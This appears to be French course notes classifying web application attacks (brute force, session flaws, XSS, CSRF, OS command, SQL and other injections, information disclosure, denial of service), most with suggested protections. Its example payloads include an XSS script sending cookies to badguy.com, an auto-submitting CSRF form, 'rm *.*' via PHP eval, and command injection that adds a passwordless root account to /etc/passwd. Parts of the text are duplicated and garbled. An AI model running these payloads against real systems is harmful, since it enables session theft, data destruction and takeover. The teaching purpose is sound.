Classes d’attaques et mécanismes de protection
1. Authentification
Cette section couvre les attaques qui ciblent les méthodes de validation de l'identité d'un utilisateur, d'un service ou d'une application.
L'authentification est effectuée à l'aide d'au moins l'un des trois mécanismes:
“something you have”, “something you know” or “something you are”.
1.1 Brute Force
Une attaque Brute Force est un processus automatisé de essai- erreur(trail and error) utilisé pour trouver les mots de passe, les numéro de la carte de crédit …etc.
Protection :
- limiter le nombre d'essais lors de l'authentification (bloquer l'accès pendant 15mn après 3 échecs) et
répondre après un délai de 3 secondes lors du 1er essai, 15 lors du 2d et 30 pour le 3ème ;
- conserver des traces de toutes les tentatives de connexion (aide à la détection de ce type d’attaque) ;
- imposer une taille minimale pour le login et le mot de passe ;
- imposer une complexité minimale (nombre de chiffres, car spéciaux, …) ;
- ne jamais indiquer si c’est le login ou le mot de passe qui est erroné ;
- ne jamais conserver les comptes avec un login et mot de passe par défaut.
- utiliser le module mod_evasive (http://www.zdziarski.com/projects/mod_evasive) qui protège contre des attaques de force brute et de déni de service (Apache 1.3, Apache 2.0.x) :
1.2 Insufficient Authentication
Se réalise quand une application web permet à un attaquant d’accéder à un contenu sensible ou aux fonctionnalités sans avoir proprement authentifié.
Protection : utiliser un .htaccess (protection du répertoire et de ses sous-répertoires) ou des sessions.
1.3 Weak Password Recovery Validation
Quand une app web permet à un attaquant d’obtenir, de changer et de récupérer illégalement un autre mot de passe de l’utilisateur.
Bonnes pratiques :
- toujours fournir un nouveau mot de passe quand il a été perdu (si on est capable de fournir l’ancien c’est qu’il a été stocké en clair ou crypté de manière réversible) ;
- conserver toutes les demandes de recouvrement de mot de passe ;
- limiter la durée de validité du nouveau mot de passe envoyé à 24h ;
- limiter le mot de passe à une utilisation unique, l’utilisateur devra obligatoirement le changer lorsqu’il se
connectera avec son nouveau mot de passe.
2. Authorization
Cette section couvre les attaques qui ciblent les méthodes permettant de déterminer si un utilisateur, un service ou une application ont les autorisations nécessaires pour effectuer une action demandée. Par exemple, de nombreux sites Web ne devraient permettre à certains utilisateurs d'accéder qu'à des contenus ou des fonctionnalité spécifiques.. En utilisant diverses techniques, un attaquant peut tromper un site Web en augmentant ses privilèges dans les zones protégées.
1.1 Credential/Session Prediction
Une méthode pour le hijacking une app web.
2.2 Insufficient Authorization
Se réalise quand une application web permet à un attaquant d’accéder à un contenu sensible ou aux fonctionnalités qui demandant des contrôles d’accès élevé.
2.3 Insufficient Session Expiration
Se réalise quand une application web permet à un attaquant de réutiliser une ancienne session pour avoir les autorisations.
2.4 Session Fixation Session Fixation
Une attaque qui force la session ID à une valeur explicite.
3. Client-side Attacks
3.1 Content Spoofing Content
Une attaque qui consiste à tromper l’utilsateur en lui faisant croire que certain contenu est ligitime et n’est pas de source externe.
3.2 Cross-site Scripting (XSS)
Une attaque qui consiste à forcer une app web à afficher un code de l’attaquant qui sera charger par la suite par le navigateur de l’utilsateur.
Schéma basique d’une attaque
Un site vulnerable à XSS
search field on victim.com:
http://victim.com/search.php ? term = apple
Server-side implementation of search.php:
Une mauvaise input
Consider link: (properly URL encoded)
http://victim.com/search.php ? term http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
What if user clicks on this link?
1. Browser goes to victim com/search php Browser goes to victim.com/search.php
2. Victim.com returns
<HTML> Results for <script> … </script>
3. Browser executes script:
Sends badguy.com cookie for victim.com
Protections
-filtrer les entrées de l’application ($_GET, $_POST, $_COOKIE) en utilisant une approche par liste
blanche, i.e. dire ce qui est autorisé et non pas ce qui est interdit (moins de liberté mais plus sur) : par
exemple, un nom comporte uniquement des caractères de l’alphabet et des espaces (s’il le faut on
ajoutera plus tard des caractères) ;
- protéger les données envoyées vers le navigateur avec htmlentities ou htmlspecialchars avec
le paramètre ENT_QUOTES ;
- préciser le jeu de caractères de chaque page web dynamique (évite une interprétation différente selon
le navigateur) ;
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
- utiliser les fonctions prédéfinies utf8_decode et strip_tags (suppression des balises dans la
chaîne) ;
- utiliser des noms d’identificateurs spécifiques pour repérer les données pas encore vérifiées ;
- la meilleure protection pour l’utilisateur est de désactiver JavaScript.
3.3 CSRF - Cross Site Request Forgery Force un client authentifié à envoyer une requête à l’application web ce qui provoque l’ altération de données (ex post dans un forum).
Exemple
Rappell
Schema basique d’une attaque
Example:
User logs in to bank com User logs in to bank.com
Session cookie remains in browser state
User visits another site containing: User visits another site containing:
<form name=F action=http://bank.com/BillPay.php>;
<input name=recipient value=badguy> …
<script> document.F.submit(); </script>
browser envoie le user auth cookie avec la requête
Transaction will be fulfilled
Problem:
cookie auth is insufficient when side effects occur
Defenses
1. Secret Validation Token
Requests include a hard-to guess secret
Unguessability substitutes for unforgeability
Variations
Session identifier
Session-independent token
Session-dd k epen
dent to
ken
HMAC of session identifier
2. Referer Validation Referer Validation
3. Custom Header Defense
4. Command Execution
4.1 Buffer Overflow Buffer
Une attaque qui modifie le flux d’une application par réécriture d’une partie de mémoire.
4.2 Format String Attack
Cette attaque change le flux d’une application par utilisation des techniques de formatage de chaine fournit par les api pour accéder à une zone mémoire.
4.3 LDAP Injection
Une attaque utilisé pour exploiter les app web qui forment des instructions LDAP à partir des entrées de l’utilisateur.
4.4 OS Commanding
Une attaque utilisé pour exploiter les app web afin d’exécuter des commandes de système d’exploitation. L’exploitation est faite en manipulant les entrées de l’application.
Exemple
Example code injection based on eval (PHP) http://site.com/calc.php (server side calculator)
$in = $_GET[‘exp']; eval('$ans = ' . $in . ';'); …
Attaque: http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ”
2) PHP server-side code for sending email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp /joinmynetwork”)
attaque: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls
ou
http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
4.5 SQL Injection
Une attaque utilisé pour exploiter les app web qui forme des requêtes SQL à partir des entrées de l’utilisateur. La figure suivante présente la méthode d’exploitation.
Par exemple
<form action="dispatcher?operation=login" method="post">
<input name="username" type="text">
<input name="password" type="password">
<input type="submit" value=“Submit">
</form>
String username = request.getParameter("username");
String password = request.getParameter("password");
Statement stmt =
con.createStatement("select * from TBL_USERS"
+"where username ='"+ username +
+"' and password = '"+ password+"'");
Haut du formulaire
Bas du formulaire
Et au niveau de serveur on le code suivant qui traite ces inputs
String username = request.getParameter("username"); String password = request.getParameter("password"); Statement stmt = con.createStatement("select * from TBL_USERS" +"where username ='"+ username + +"' and password = '"+ password+"'");
Si l’utilsateur entre username = admin';-–
La requete SQL devient select * from TBL_USERS where username = 'admin';-– ' and password = '123';
Le résultat est que l’utilisateur à effectuer un log in en tant que administrateur sans qu’il est.
Ceci est une attaque de type sql injection. Donc on peut injecter du code sql dans une entrée utilisateur pour compromettre la securité de l’app web.
Solution
Utiliser les Parameterized SQL statements: i.e., PreparedStatements Parameter values are quoted. This preserves intent of the query.
• utiliser les Stored Procedures: (mais faite attention à l’ implementation).
• Escape user-input: toutes les entrées utilisateur doivnet etre écahpées) be escaped (e.g. using double quotes).
….etc
4.6 SSI Injection SSI Injection (Server-side Include)
Est une attaque coté serveur qui permet à l’attaquant d’envoyer du code à l’app web. Ce code sera exécute plus tard sur le serveur web.
4.7 XPath Injection
Une attaque utilisé pour exploiter les app web qui forme des requêtes XPATH à partir des entrées de l’utilisateur.
5. Information Disclosure
5.1 Directory Indexing
L’affichage automatique des répertoires est une fonction serveur qui liste tous les fichiers d’un répertoire si le fichier de base n’existe pas.
5.2 Information Leakage
Quand l’app web montre des données sensibles tells que les commentaires de développeur ou les messages d’erreurs ce qui peut aider l’attaquant à attaquer le système.
5.3 Path Traversal
Cette attaque force l’accés aux fichiers, reps, et commandes qui peuvent résider en dehors du répertoire root(du web).
5.4 Predictable Resource Location
Pour montrer le contenu et les fonctionnalités cachées de l’app web.
6. Logical Attacks
6.1 Abuse of Functionality
Une attaque utilisé pour exploiter les fonctionnalités et les proprietés des app web pour pour consommer, frauder ou contourner les mécanismes de contrôle d'accès.
7. Déni de service
Le déni de service (DoS) est une technique d'attaque visant à empêcher un site Web de servir ses utilisateurs.
7.1 Insufficient Anti-automation
lorsqu'un site Web permet à un attaquant d’automatiser un processus qui ne doit être exécuté que manuellement.
7.2 Insufficient Process Validation
lorsqu'un site Web permet à un attaquant de contourner le contrôle de flux prévu d'une application.